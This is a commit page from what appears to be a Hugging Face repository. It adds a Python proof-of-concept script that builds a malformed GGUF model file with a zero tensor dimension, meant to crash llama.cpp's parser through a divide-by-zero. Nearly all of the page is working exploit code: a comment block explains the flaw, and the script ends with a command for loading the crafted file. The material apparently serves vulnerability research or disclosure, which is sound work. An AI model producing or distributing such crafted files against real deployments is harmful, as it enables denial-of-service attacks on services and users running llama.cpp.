Upload poc_divzero.py with huggingface_hub
Browse files- poc_divzero.py +118 -0
poc_divzero.py
ADDED
|
@@ -0,0 +1,118 @@
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
| 1 |
+
#!/usr/bin/env python3
|
| 2 |
+
"""
|
| 3 |
+
PoC: Divide-by-zero in llama.cpp GGUF parser via zero tensor dimension.
|
| 4 |
+
|
| 5 |
+
Vulnerability: In ggml/src/gguf.cpp lines 550-552, the overflow check does:
|
| 6 |
+
if (ok && ((INT64_MAX/info.t.ne[1] <= info.t.ne[0]) || ...))
|
| 7 |
+
|
| 8 |
+
The dimensions ne[0..3] are validated for < 0 at line 541 but NOT for == 0.
|
| 9 |
+
A dimension of 0 passes the < 0 check, then INT64_MAX / 0 triggers
|
| 10 |
+
undefined behavior (divide-by-zero crash / SIGFPE on most platforms).
|
| 11 |
+
|
| 12 |
+
Attack vector:
|
| 13 |
+
- Craft a GGUF file with 1 tensor
|
| 14 |
+
- Tensor has n_dims=2, ne[0]=32 (valid for F32 block size), ne[1]=0
|
| 15 |
+
- ne[2] and ne[3] default to 1 (set at line 535)
|
| 16 |
+
- The parser reads ne[0]=32, ne[1]=0, then at line 550:
|
| 17 |
+
INT64_MAX / info.t.ne[1] => INT64_MAX / 0 => CRASH
|
| 18 |
+
|
| 19 |
+
GGUF v3 binary format for tensor info:
|
| 20 |
+
- name: string (uint64 length + chars)
|
| 21 |
+
- n_dims: uint32
|
| 22 |
+
- ne[0..n_dims-1]: int64 each
|
| 23 |
+
- type: int32 (ggml_type)
|
| 24 |
+
- offset: uint64
|
| 25 |
+
"""
|
| 26 |
+
|
| 27 |
+
import struct
|
| 28 |
+
import os
|
| 29 |
+
|
| 30 |
+
# GGUF constants
|
| 31 |
+
GGUF_MAGIC = b"GGUF"
|
| 32 |
+
GGUF_VERSION = 3
|
| 33 |
+
GGUF_TYPE_STRING = 8
|
| 34 |
+
GGUF_TYPE_UINT32 = 4
|
| 35 |
+
|
| 36 |
+
# ggml type constants
|
| 37 |
+
GGML_TYPE_F32 = 0
|
| 38 |
+
|
| 39 |
+
|
| 40 |
+
def write_string(f, s):
|
| 41 |
+
"""Write a GGUF string: uint64 length + chars (no null terminator)."""
|
| 42 |
+
encoded = s.encode('utf-8')
|
| 43 |
+
f.write(struct.pack('<Q', len(encoded)))
|
| 44 |
+
f.write(encoded)
|
| 45 |
+
|
| 46 |
+
|
| 47 |
+
def write_kv_string(f, key, value):
|
| 48 |
+
"""Write a KV pair with string value."""
|
| 49 |
+
write_string(f, key) # key
|
| 50 |
+
f.write(struct.pack('<I', GGUF_TYPE_STRING)) # type = string
|
| 51 |
+
write_string(f, value) # value
|
| 52 |
+
|
| 53 |
+
|
| 54 |
+
def create_divzero_gguf(output_path):
|
| 55 |
+
"""Create a GGUF file with a tensor whose ne[1]=0, triggering divide-by-zero."""
|
| 56 |
+
|
| 57 |
+
n_tensors = 1
|
| 58 |
+
n_kv = 1 # just general.architecture
|
| 59 |
+
|
| 60 |
+
with open(output_path, 'wb') as f:
|
| 61 |
+
# ===== GGUF Header =====
|
| 62 |
+
f.write(GGUF_MAGIC) # magic: "GGUF"
|
| 63 |
+
f.write(struct.pack('<I', GGUF_VERSION)) # version: 3
|
| 64 |
+
f.write(struct.pack('<Q', n_tensors)) # n_tensors: 1
|
| 65 |
+
f.write(struct.pack('<Q', n_kv)) # n_kv: 1
|
| 66 |
+
|
| 67 |
+
# ===== KV Pairs =====
|
| 68 |
+
write_kv_string(f, "general.architecture", "llama")
|
| 69 |
+
|
| 70 |
+
# ===== Tensor Info =====
|
| 71 |
+
# Tensor name
|
| 72 |
+
write_string(f, "weight")
|
| 73 |
+
|
| 74 |
+
# n_dims = 2 (so ne[0] and ne[1] are read from file; ne[2], ne[3] default to 1)
|
| 75 |
+
f.write(struct.pack('<I', 2))
|
| 76 |
+
|
| 77 |
+
# ne[0] = 32 (valid, non-zero, divisible by F32 block size of 1)
|
| 78 |
+
f.write(struct.pack('<q', 32))
|
| 79 |
+
|
| 80 |
+
# ne[1] = 0 <--- THIS IS THE TRIGGER
|
| 81 |
+
# Passes the "< 0" check at line 541 (0 is not < 0)
|
| 82 |
+
# Then at line 550: INT64_MAX / ne[1] = INT64_MAX / 0 => CRASH
|
| 83 |
+
f.write(struct.pack('<q', 0))
|
| 84 |
+
|
| 85 |
+
# Tensor type = GGML_TYPE_F32 (0)
|
| 86 |
+
f.write(struct.pack('<i', GGML_TYPE_F32))
|
| 87 |
+
|
| 88 |
+
# Tensor data offset within buffer (doesn't matter, we'll crash before using it)
|
| 89 |
+
f.write(struct.pack('<Q', 0))
|
| 90 |
+
|
| 91 |
+
# ===== Alignment padding + tensor data =====
|
| 92 |
+
# The parser expects data after tensor info, aligned to GGUF_DEFAULT_ALIGNMENT (32).
|
| 93 |
+
# We don't need actual tensor data since we crash during parsing, but include
|
| 94 |
+
# a small amount to avoid premature EOF errors before hitting the vulnerable code.
|
| 95 |
+
# Pad to 32-byte alignment
|
| 96 |
+
current_pos = f.tell()
|
| 97 |
+
alignment = 32
|
| 98 |
+
padding_needed = (alignment - (current_pos % alignment)) % alignment
|
| 99 |
+
f.write(b'\x00' * padding_needed)
|
| 100 |
+
|
| 101 |
+
# Write minimal tensor "data" (32 floats * 0 rows = 0 bytes, but write something)
|
| 102 |
+
# Actually, since we crash during gguf_init parsing, no data is needed.
|
| 103 |
+
|
| 104 |
+
file_size = os.path.getsize(output_path)
|
| 105 |
+
print(f"[*] Created: {output_path}")
|
| 106 |
+
print(f"[*] File size: {file_size} bytes")
|
| 107 |
+
print(f"[*] Tensor: name='weight', n_dims=2, ne=[32, 0, 1, 1], type=F32")
|
| 108 |
+
print(f"[*] Vulnerability: INT64_MAX / ne[1] = INT64_MAX / 0 => divide-by-zero")
|
| 109 |
+
print(f"[*]")
|
| 110 |
+
print(f"[*] Test with:")
|
| 111 |
+
print(f"[*] ./llama-cli -m {output_path} -p 'hello'")
|
| 112 |
+
print(f"[*] Expected: Floating point exception (SIGFPE) or crash")
|
| 113 |
+
|
| 114 |
+
|
| 115 |
+
if __name__ == "__main__":
|
| 116 |
+
os.makedirs("/Users/eltarne/Documents/script/gguf_poc", exist_ok=True)
|
| 117 |
+
output_path = "/Users/eltarne/Documents/script/gguf_poc/poc_divzero.gguf"
|
| 118 |
+
create_divzero_gguf(output_path)
|